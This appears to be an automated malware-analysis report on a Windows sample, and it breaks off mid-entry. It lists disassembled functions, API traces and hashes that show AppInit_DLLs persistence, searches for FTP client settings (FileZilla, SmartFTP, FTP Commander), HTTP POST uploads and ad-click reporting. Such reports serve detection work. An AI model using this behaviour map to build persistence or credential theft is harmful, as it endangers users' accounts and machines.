Instruction ID: bfa1c3e5fdaec5be4dfb18607c12502589e7fd5433bac8caf4aacda455aa0499
Opcode Fuzzy Hash: 68495801366515c75ff4f7091ec1779cfaae467043e456767ef3efc9e03748a3
Instruction Fuzzy Hash: 3A118F72D10219ABCB00DFA9DD448DEBBB9FF08354B11456AF415B7290E770AE14CFA4

Function 00408604 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 53registryfileCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows NT\CurrentVersion\Windows,00000000,00000001,?), ref: 00408628
GetLastError.KERNEL32 ref: 0040864A

Part of subcall function 004069C0: RegQueryValueExW.KERNELBASE(?,00000000,00000000,00000000,?,00000000,?,?,?,w,@,00406CB0,Build,w,@), ref: 004069E3
Part of subcall function 004069C0: RegCloseKey.KERNELBASE(?,?,?,?,w,@,00406CB0,Build,w,@), ref: 004069ED

DeleteFileW.KERNEL32(C:\WINDOWS\system32\gbdwpbm.dll), ref: 00408687

Part of subcall function 004069FD: RegCreateKeyExW.ADVAPI32(?,?,00000000,00000000,00000000,00020006,00000000,?,?,?,?,?,?,00406AD3,80000001,AppEvents\Schemes\Apps\Explorer\Navigating\.current), ref: 00406A22

Strings

C:\WINDOWS\system32\gbdwpbm.dll, xrefs: 00408682
Software\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 00408619, 0040861E, 00408676
AppInit_DLLs, xrefs: 00408639, 00408671

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: CloseCreateDeleteErrorFileLastOpenQueryValue
String ID: AppInit_DLLs$C:\WINDOWS\system32\gbdwpbm.dll$Software\Microsoft\Windows NT\CurrentVersion\Windows
API String ID: 4026185228-3265104503
Opcode ID: fbb25ce4fb2133be7a5b5419f21f392892fccd3598b8746d09e161acbdde3d5e
Instruction ID: 1689b80d2e7b4165945397198c320d7ed833f5e108bfbebac4dfc06446509e60
Opcode Fuzzy Hash: fbb25ce4fb2133be7a5b5419f21f392892fccd3598b8746d09e161acbdde3d5e
Instruction Fuzzy Hash: 99014CB2A44124B6E62067665E06F9B72AC9B00750F220D7BF905F31C0DABA9D1446AD

Function 00409A99 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 00409B00
SysAllocString.OLEAUT32(?), ref: 00409B0E

Strings

</title>, xrefs: 00409AA7
<url>, xrefs: 00409AD1
<title>, xrefs: 00409AAC
</url>, xrefs: 00409ACC

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: AllocString
String ID: </title>$</url>$<title>$<url>
API String ID: 2525500382-2286408829
Opcode ID: 80cffecdc154f3961d55a3c5b79764381f6831437f998c4d45a612bfa985b786
Instruction ID: e94fff7a9c4556839c155ffec7726d55edf757161a42396596b5093e86978141
Opcode Fuzzy Hash: 80cffecdc154f3961d55a3c5b79764381f6831437f998c4d45a612bfa985b786
Instruction Fuzzy Hash: 4F01DB7564021CA7DB116A55CC41FD637A8BB44799F044077FA04F32C3E978AA0C4BA4

Function 0040A8F9 Relevance: 9.2, APIs: 4, Strings: 2, Instructions: 161sleepmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00406D14: InternetAttemptConnect.WININET(00000000), ref: 00406D18

Sleep.KERNEL32(00002710,?,?,00000000,?,004027BD,?,00000001,00000000,?,?), ref: 0040A91C
Sleep.KERNEL32(00002710), ref: 0040AAC1
GetProcessHeap.KERNEL32(00000000,?), ref: 0040AAE9
HeapFree.KERNEL32(00000000), ref: 0040AAF0

Strings

jstat^rev=%s^code=%s^site=%s^searches=%s^clicks=%s^adver=%s^os=%s, xrefs: 0040A957
0, xrefs: 0040AA5B

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: HeapSleep$AttemptConnectFreeInternetProcess
String ID: 0$jstat^rev=%s^code=%s^site=%s^searches=%s^clicks=%s^adver=%s^os=%s
API String ID: 3713053250-1268808612
Opcode ID: 6c152bde10d2c0b7e91d23641586db00b07026a1695735e24a6cde11216123b9
Instruction ID: cb73c9a78e41fc00613c6eff30345c36a412e41c8c720ed22b53be089701fd16
Opcode Fuzzy Hash: 6c152bde10d2c0b7e91d23641586db00b07026a1695735e24a6cde11216123b9
Instruction Fuzzy Hash: 88515072A00218A6CF10EB95DC959DF737DEF44308F40447BF406B7281EB789A958FAA

Function 00407499 Relevance: 9.1, APIs: 6, Instructions: 62timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?,?), ref: 004074AD
GetLocalTime.KERNEL32(?), ref: 004074B3
GetTimeZoneInformation.KERNEL32(?), ref: 004074EA
SystemTimeToFileTime.KERNEL32(000007D8,?), ref: 00407525
SystemTimeToFileTime.KERNEL32(000007D8,?), ref: 0040752F
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0040754A

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: Time$FileLocalSystem$InformationUnothrow_t@std@@@Zone__ehfuncinfo$??2@
String ID:
API String ID: 3777474486-0
Opcode ID: bce84979032c395480666c2d60b9174811821601ee86a2001902def64962fbd3
Instruction ID: c9ff0a62426275c5a0d4f0aa0fa2549fa158b312224671bef63f429b7f92df75
Opcode Fuzzy Hash: bce84979032c395480666c2d60b9174811821601ee86a2001902def64962fbd3
Instruction Fuzzy Hash: 03112C72D1022DAADF00EBD4DC44AEEB7FCBF48314F04445AE901B7240E7B9A608CBA5

Function 004083C4 Relevance: 9.1, APIs: 6, Instructions: 61filememoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000007,00000000,00000003,00000000,00000000), ref: 004083DC
GetFileSizeEx.KERNEL32(00000000,?), ref: 004083EF
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 00408417
ReadFile.KERNEL32(?,00000000,?,?,00000000), ref: 0040842F
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00408449
CloseHandle.KERNEL32(?), ref: 00408452

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: File$Virtual$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 1974014688-0
Opcode ID: c2b876117cf5bdd4c26ea99d0d1f22b8a7b68d93f1e59a17f5f06edaaf93f8ba
Instruction ID: 01d1f8b5f38b633e5055412454defe488cd8fa266e80ff04f0611ceb3180ae32
Opcode Fuzzy Hash: c2b876117cf5bdd4c26ea99d0d1f22b8a7b68d93f1e59a17f5f06edaaf93f8ba
Instruction Fuzzy Hash: 47115170500201FBEB305F56CE49E5BBBB9EB90700F10892DF596F21E0EB74A951DB28

Function 00409DF4 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 110networkfileCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,00000050,00000000,00000000,00000003,00000000,00000000,?), ref: 00409EA3
HttpOpenRequestW.WININET(00000000,POST,04400100,00000000,00000000,00000000,04400100,00000000), ref: 00409EC3
HttpSendRequestW.WININET(00000000,00000000,00000000,?,?), ref: 00409EDA
InternetReadFile.WININET(00000000,?,00001000,?), ref: 00409F00

Strings

POST, xrefs: 00409EBD

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: HttpInternetRequest$ConnectFileOpenReadSend
String ID: POST
API String ID: 961146071-1814004025
Opcode ID: b4e0c7fb39f83403c03b5f090b9d6f141d07a3f8a6ffa7c0d9c020d846c222da
Instruction ID: 440a75f1c6cd1a7483e62584c22426b42aa3ce760e55699d8a89a0e8c7b72afb
Opcode Fuzzy Hash: b4e0c7fb39f83403c03b5f090b9d6f141d07a3f8a6ffa7c0d9c020d846c222da
Instruction Fuzzy Hash: B8318E71900119BFDB10DBA4DC84EFE7679EB54349F14087AFA41B62C2D6385E448BA8

Function 00405136 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 79COMMON

Download Yara Rule

APIs

Part of subcall function 0040848F: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,?,00000104,00000000,?,?,?,00403796,?,?,00000104,?,00000000), ref: 004084A5

ExpandEnvironmentStringsW.KERNEL32(?,?,00000104,?,?,?,00000008), ref: 004051EB

Strings

SOFTWARE\smartftp\client 2.0\settings\backup, xrefs: 00405168
folder, xrefs: 00405184
SOFTWARE\smartftp\client 2.0\settings\general\favorites, xrefs: 00405157
personal favorites, xrefs: 00405176

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: EnvironmentExpandOpenStrings
String ID: SOFTWARE\smartftp\client 2.0\settings\backup$SOFTWARE\smartftp\client 2.0\settings\general\favorites$folder$personal favorites
API String ID: 3923277744-821743658
Opcode ID: 9c5624b750c48fe949610555ae12c1d7776d2d53775f7ef2d3d96991cebe07cb
Instruction ID: 0454e2dbaba930a1c05830d090df37f1eb9a44f33d61805f8e12f109ce5a2445
Opcode Fuzzy Hash: 9c5624b750c48fe949610555ae12c1d7776d2d53775f7ef2d3d96991cebe07cb
Instruction Fuzzy Hash: 21213E71D00518ABDB10EB95DC41ADFB7BCEB44318F1084B7E514B2181EB389B49CFA9

Function 0040A0B5 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040A0C0
GetModuleHandleW.KERNEL32(00000000,00000000,?,?,0040A16F,00427ED0,00000000,00000001,?,00402806,?), ref: 0040A0CE
CreateWindowExW.USER32(00000000,AtlAxWin,Shell.Explorer,80000000,00000000,00000000,000004B0,00000320,00000000,00000000,00000000), ref: 0040A0F3

Strings

Shell.Explorer, xrefs: 0040A0E8
AtlAxWin, xrefs: 0040A0ED

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: CreateHandleInitializeModuleWindow
String ID: AtlAxWin$Shell.Explorer
API String ID: 950422046-1300462704
Opcode ID: e9b6661190c81bdf072f7cb3f1dc159ab5559684b807faa4a04e62d0e94038f2
Instruction ID: 8885d0d040d3ab3e1edd42f45155a7fe84e7bff231f75e8e802cb7627400a982
Opcode Fuzzy Hash: e9b6661190c81bdf072f7cb3f1dc159ab5559684b807faa4a04e62d0e94038f2
Instruction Fuzzy Hash: 78118F30200200FFD320ABA6CC4CE6B7BBCEFCA711B240579F515EB291D7789801CA65

Function 0040AB7C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 0040AB93
CharLowerW.USER32(?), ref: 0040ABA0
GetCommandLineW.KERNEL32 ref: 0040ABC0

Strings

netprotdrvss.exe, xrefs: 0040ABA6
/updatefile3, xrefs: 0040ABC6

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: CharCommandFileLineLowerModuleName
String ID: /updatefile3$netprotdrvss.exe
API String ID: 3118597399-3449771660
Opcode ID: 61670428bc38f3e4eb0be7325e100114f65b6339bc855a7a328cdb887f7470a6
Instruction ID: 1eba2a713c21f7c79877a49aa3ec6850c44e44909145826ab611dd80b60fa5a6
Opcode Fuzzy Hash: 61670428bc38f3e4eb0be7325e100114f65b6339bc855a7a328cdb887f7470a6
Instruction Fuzzy Hash: 41E09B3655021A5AD750FBB1DD07BA633ACFB01705F1049B6A246F10C0EE74D55D4F9D

Function 00409FB1 Relevance: 7.6, APIs: 5, Instructions: 53windowsleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00409FCE
GetTickCount.KERNEL32 ref: 00409FDE
Sleep.KERNEL32(00000064,?,?,0040A442,?,?), ref: 00409FEC
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00409FFB
DispatchMessageW.USER32(?), ref: 0040A009

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: CountMessageTick$DispatchPeekSleep
String ID:
API String ID: 4159783438-0
Opcode ID: 45312298ad5970842c5ee584b14830e042aefe59ca6bdbaf3830585a06b866aa
Instruction ID: c0dc46c0c87f7bc49602bd7d2efae9f565a6f52602c3eafe7569a8fa2f6b8eea
Opcode Fuzzy Hash: 45312298ad5970842c5ee584b14830e042aefe59ca6bdbaf3830585a06b866aa
Instruction Fuzzy Hash: 3F118671D103199ECB10AFF5CC8899F7BB9BB45314B144A7AE161F71E0C778CA118B1A

Function 00409F2B Relevance: 7.5, APIs: 5, Instructions: 40windowsleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00409F5B
GetTickCount.KERNEL32 ref: 00409F5F
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00409F72
DispatchMessageW.USER32(?), ref: 00409F80
Sleep.KERNEL32(0000012C,?,?,?,?,00000000), ref: 00409F8D

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: CountMessageTick$DispatchPeekSleep
String ID:
API String ID: 4159783438-0
Opcode ID: d828153fe0bc3cb5942bd1ad65280cd53f53337ade4736ba602ea34c47e1e491
Instruction ID: 2f378a1af0056e794f94b22e0cd08b0b0b180d2e60cd5d2ebdc62f673b65dbb1
Opcode Fuzzy Hash: d828153fe0bc3cb5942bd1ad65280cd53f53337ade4736ba602ea34c47e1e491
Instruction Fuzzy Hash: D1F0C872D042149BD714B7F2DD09B7D76A89B45714F104A36F551F70D1CA7CCD148A58

Function 00408692 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 152COMMON

Download Yara Rule

APIs

Part of subcall function 0040A469: InternetOpenW.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040A535
Part of subcall function 0040A469: InternetSetOptionW.WININET(00000000,00000041,00000000,00000004), ref: 0040A551

Part of subcall function 00409F2B: GetTickCount.KERNEL32 ref: 00409F5B
Part of subcall function 00409F2B: GetTickCount.KERNEL32 ref: 00409F5F
Part of subcall function 00409F2B: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00409F72
Part of subcall function 00409F2B: DispatchMessageW.USER32(?), ref: 00409F80
Part of subcall function 00409F2B: Sleep.KERNEL32(0000012C,?,?,?,?,00000000), ref: 00409F8D

CharLowerW.USER32(?,?,?,00423DD4,?,00000001), ref: 00408751
SysFreeString.OLEAUT32(?), ref: 0040875A

Strings

+@, xrefs: 004086A0
http://, xrefs: 00408711

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: CountInternetMessageTick$CharDispatchFreeLowerOpenOptionPeekSleepString
String ID: http://$+@
API String ID: 147727044-3628382792
Opcode ID: 4747316a717284c04b6d8eaca9f6cad11a4be7da38afbfbb58d184a4dff8615e
Instruction ID: 305e6509dfdc939f3ffb47eba37a7af79922f54013ecb7534e3961c93d2e4cc1
Opcode Fuzzy Hash: 4747316a717284c04b6d8eaca9f6cad11a4be7da38afbfbb58d184a4dff8615e
Instruction Fuzzy Hash: 4E41D5729002199BCF15AF66CD056EFBBB4FF44314F20447FE981B3292DB3889528B99

Function 00407D61 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 81fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,?,UniqueNum,00000000), ref: 00407E09
WriteFile.KERNEL32(00000078,00000064,00000000,00000000), ref: 00407E20

Part of subcall function 00407CD7: GetModuleFileNameW.KERNEL32(00000000,?,00001000,?,00000000,?,00407E44,00000001,UniqueNum), ref: 00407CF6
Part of subcall function 00407CD7: CreateFileW.KERNELBASE(?,C0000000,00000000,00000000,00000004,00000002,00000000,?,00407E44,00000001,UniqueNum), ref: 00407D48

Strings

UniqueNum, xrefs: 00407D86
x, xrefs: 00407DEF

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: File$CreateModuleNamePointerWrite
String ID: UniqueNum$x
API String ID: 594998759-2399716736
Opcode ID: f714b27ee9317318c4b5ab7fa1cefed36b34d8c85c53bda1d1664fc5573218dc
Instruction ID: 8c5cde1ed6458afa5e70834db293a7f07ca8c6efd1b8e13f0da2095665a79c5a
Opcode Fuzzy Hash: f714b27ee9317318c4b5ab7fa1cefed36b34d8c85c53bda1d1664fc5573218dc
Instruction Fuzzy Hash: F72129329002186BDF04AB74ED49DDF3B69EF44315F104636FA02E71E1E634D951C799

Function 004040E7 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 60COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(00000000,00000026,00000000,00000000,?,?,00000000,00000008), ref: 0040413A

Part of subcall function 00408248: FindFirstFileW.KERNEL32(?,?), ref: 00408280
Part of subcall function 00408248: WaitForSingleObject.KERNEL32(?,00000000), ref: 004082A6
Part of subcall function 00408248: PathMatchSpecW.SHLWAPI(0000002E,00000000), ref: 00408310
Part of subcall function 00408248: Sleep.KERNEL32(00000000), ref: 00408377
Part of subcall function 00408248: FindNextFileW.KERNEL32(00000000,00000010), ref: 004083A8
Part of subcall function 00408248: FindClose.KERNEL32(00000000), ref: 004083B9

Part of subcall function 0040BE3A: HeapFree.KERNEL32(00000000,00000000,00403736,?), ref: 0040BE4D

Strings

#, xrefs: 0040411E
*filezilla*, xrefs: 004040F6
&, xrefs: 00404110

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: Find$FilePath$CloseFirstFolderFreeHeapMatchNextObjectSingleSleepSpecWait
String ID: #$&$*filezilla*
API String ID: 3438805939-758400021
Opcode ID: b94badfc80f454930b4c4e7711f3c2cdfa3c780a60e708483a1590b16434435c
Instruction ID: af0dd5899ef73ee7264a7e51d90439c8fcf38b6470501fb51340e8e2557856c3
Opcode Fuzzy Hash: b94badfc80f454930b4c4e7711f3c2cdfa3c780a60e708483a1590b16434435c
Instruction Fuzzy Hash: 8E1151B2901128BADB10EA92DC49EDF7BBCEF85304F00407AF605B6080E7385785CBE9

Function 00404A92 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 60COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(00000000,00000026,00000000,00000000,?,?,00000000,00000008), ref: 00404AE5

Part of subcall function 00408248: FindFirstFileW.KERNEL32(?,?), ref: 00408280
Part of subcall function 00408248: WaitForSingleObject.KERNEL32(?,00000000), ref: 004082A6
Part of subcall function 00408248: PathMatchSpecW.SHLWAPI(0000002E,00000000), ref: 00408310
Part of subcall function 00408248: Sleep.KERNEL32(00000000), ref: 00408377
Part of subcall function 00408248: FindNextFileW.KERNEL32(00000000,00000010), ref: 004083A8
Part of subcall function 00408248: FindClose.KERNEL32(00000000), ref: 004083B9

Part of subcall function 0040BE3A: HeapFree.KERNEL32(00000000,00000000,00403736,?), ref: 0040BE4D

Strings

#, xrefs: 00404AC9
ftp*commander*, xrefs: 00404AA1
&, xrefs: 00404ABB

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: Find$FilePath$CloseFirstFolderFreeHeapMatchNextObjectSingleSleepSpecWait
String ID: #$&$ftp*commander*
API String ID: 3438805939-1149875651
Opcode ID: 5b274e86ecfa94f023ab10c4bc64147d8c024bc00b4ff254a4a9ffef51946c32
Instruction ID: 4761086559ade70d73b1403ca51e5d3bc462c500c99379e4fd01d7d946a964d6
Opcode Fuzzy Hash: 5b274e86ecfa94f023ab10c4bc64147d8c024bc00b4ff254a4a9ffef51946c32
Instruction Fuzzy Hash: B61121B2901118BADB10AA92DC49EDF7F7CEF85704F00407AF609B6180E7799785CBA9

Function 00409445 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 51COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 004094A9
SysFreeString.OLEAUT32(?), ref: 004094AE

Strings

an.yandex.ru/count, xrefs: 00409478
_blank, xrefs: 0040948E

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: FreeString
String ID: _blank$an.yandex.ru/count
API String ID: 3341692771-25359924
Opcode ID: 220b2bda2c3fa2e17afd3876e6e131a3eeacb4788efdd8cad2f7b8a0937d0ae5
Instruction ID: 1eacecae91598e8b756cf85833a4a3bbf756f1dfdfc5fa02fd6c22f827bf3b29
Opcode Fuzzy Hash: 220b2bda2c3fa2e17afd3876e6e131a3eeacb4788efdd8cad2f7b8a0937d0ae5
Instruction Fuzzy Hash: 28015A35204114BBDB109FA6CD05D9B77A8EF85324724443BBC15E7291E779EE02CA69

Function 00406C77 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 26registryCOMMON

Download Yara Rule

APIs

